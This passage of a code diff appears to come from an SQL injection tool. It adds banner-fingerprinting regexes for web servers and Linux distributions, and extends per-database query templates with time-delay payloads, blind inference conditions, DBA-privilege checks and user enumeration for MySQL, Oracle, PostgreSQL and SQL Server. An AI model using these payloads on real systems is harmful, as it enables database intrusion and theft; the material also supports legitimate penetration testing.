<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
|
||||||
|
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
|
||||||
|
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
|
||||||
|
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
|
||||||
|
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
|
||||||
|
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.6 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: Fedora -->
|
||||||
|
<!-- TODO: add Fedora 8, 9 and 10 -->
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.47 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.50 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.49 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.51 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.52 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.53 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.54 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.0 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.2 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.3 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.4 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.6 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: Mandrake / Mandriva -->
|
||||||
|
<!-- TODO: add Mandriva 2007.1, 2008.0, 2008.1 and 2009.0 -->
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
|
||||||
|
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
|
||||||
|
<info type="Linux" distrib="Mandriva" release="2006.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
|
||||||
|
<info type="Linux" distrib="Mandriva" release="2007"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: Red Hat -->
|
||||||
|
<!-- TODO: add Red Hat 5, 5.1, 5.2 and 5.3 -->
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.2\.6 Red Hat">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="7.0" codename="Guinness"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: SuSE -->
|
||||||
|
<!-- TODO: add SuSE 10.1, 10.2, 10.3 and 11.0 -->
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="6.1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="6.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
|
||||||
|
<info technology="operating-system.type" type="str" value="Linux"/>
|
||||||
|
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="7.1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="7.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="7.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="8.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="9.1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="9.2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="9.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="10.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Apache: Ubuntu -->
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
21
xml/banner/servlet.xml
Normal file
21
xml/banner/servlet.xml
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
|
||||||
|
<info technology="Tomcat" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||||
|
<info technology="JSP" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
|
||||||
|
<info technology="Servlet" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
|
||||||
|
<info technology="Java" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
9
xml/banner/sharepoint.xml
Normal file
9
xml/banner/sharepoint.xml
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="([\d\.]+)">
|
||||||
|
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
9
xml/banner/x-aspnet-version.xml
Normal file
9
xml/banner/x-aspnet-version.xml
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="([\d\.]+)">
|
||||||
|
<info technology="ASP.NET" tech_version="1" type="Windows" distrib="2003|2008"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
29
xml/banner/x-powered-by.xml
Normal file
29
xml/banner/x-powered-by.xml
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!-- Reference: http://www.http-stats.com/X-Powered-By -->
|
||||||
|
|
||||||
|
<root>
|
||||||
|
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
|
||||||
|
<info technology="PHP" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||||
|
<info technology="JSP" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="ASP[\/\d\.]*$">
|
||||||
|
<info technology="ASP" type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="ASP\.NET">
|
||||||
|
<info technology="ASP.NET" type="Windows"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]*([\d\.]+)">
|
||||||
|
<info technology="Tomcat" tech_version="2"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Servlet[\-\_\/\ ]*([\d\.]+)">
|
||||||
|
<info technology="Servlet" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
</root>
|
||||||
@@ -14,11 +14,20 @@
|
|||||||
<limitstring query=" LIMIT "/>
|
<limitstring query=" LIMIT "/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="#" query2="/*"/>
|
||||||
|
<!--
|
||||||
|
NOTE: MySQL 5.0.12 introduced SLEEP() function
|
||||||
|
References:
|
||||||
|
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
||||||
|
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
||||||
|
-->
|
||||||
|
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
||||||
<substring query="MID((%s), %d, %d)"/>
|
<substring query="MID((%s), %d, %d)"/>
|
||||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER()"/>
|
<current_user query="CURRENT_USER()"/>
|
||||||
<current_db query="DATABASE()"/>
|
<current_db query="DATABASE()"/>
|
||||||
|
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||||
@@ -62,11 +71,14 @@
|
|||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
|
||||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
||||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||||
|
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||||
@@ -109,11 +121,14 @@
|
|||||||
<limitstring query=" OFFSET "/>
|
<limitstring query=" OFFSET "/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*"/>
|
||||||
|
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
||||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
<current_db query="CURRENT_DATABASE()"/>
|
<current_db query="CURRENT_DATABASE()"/>
|
||||||
|
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT usename FROM pg_user"/>
|
<inband query="SELECT usename FROM pg_user"/>
|
||||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||||
@@ -157,11 +172,14 @@
|
|||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*"/>
|
||||||
|
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
||||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||||
<banner query="@@VERSION"/>
|
<banner query="@@VERSION"/>
|
||||||
<current_user query="SYSTEM_USER"/>
|
<current_user query="SYSTEM_USER"/>
|
||||||
<current_db query="DB_NAME()"/>
|
<current_db query="DB_NAME()"/>
|
||||||
|
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||||
@@ -174,17 +192,15 @@
|
|||||||
<privileges/>
|
<privileges/>
|
||||||
<dbs>
|
<dbs>
|
||||||
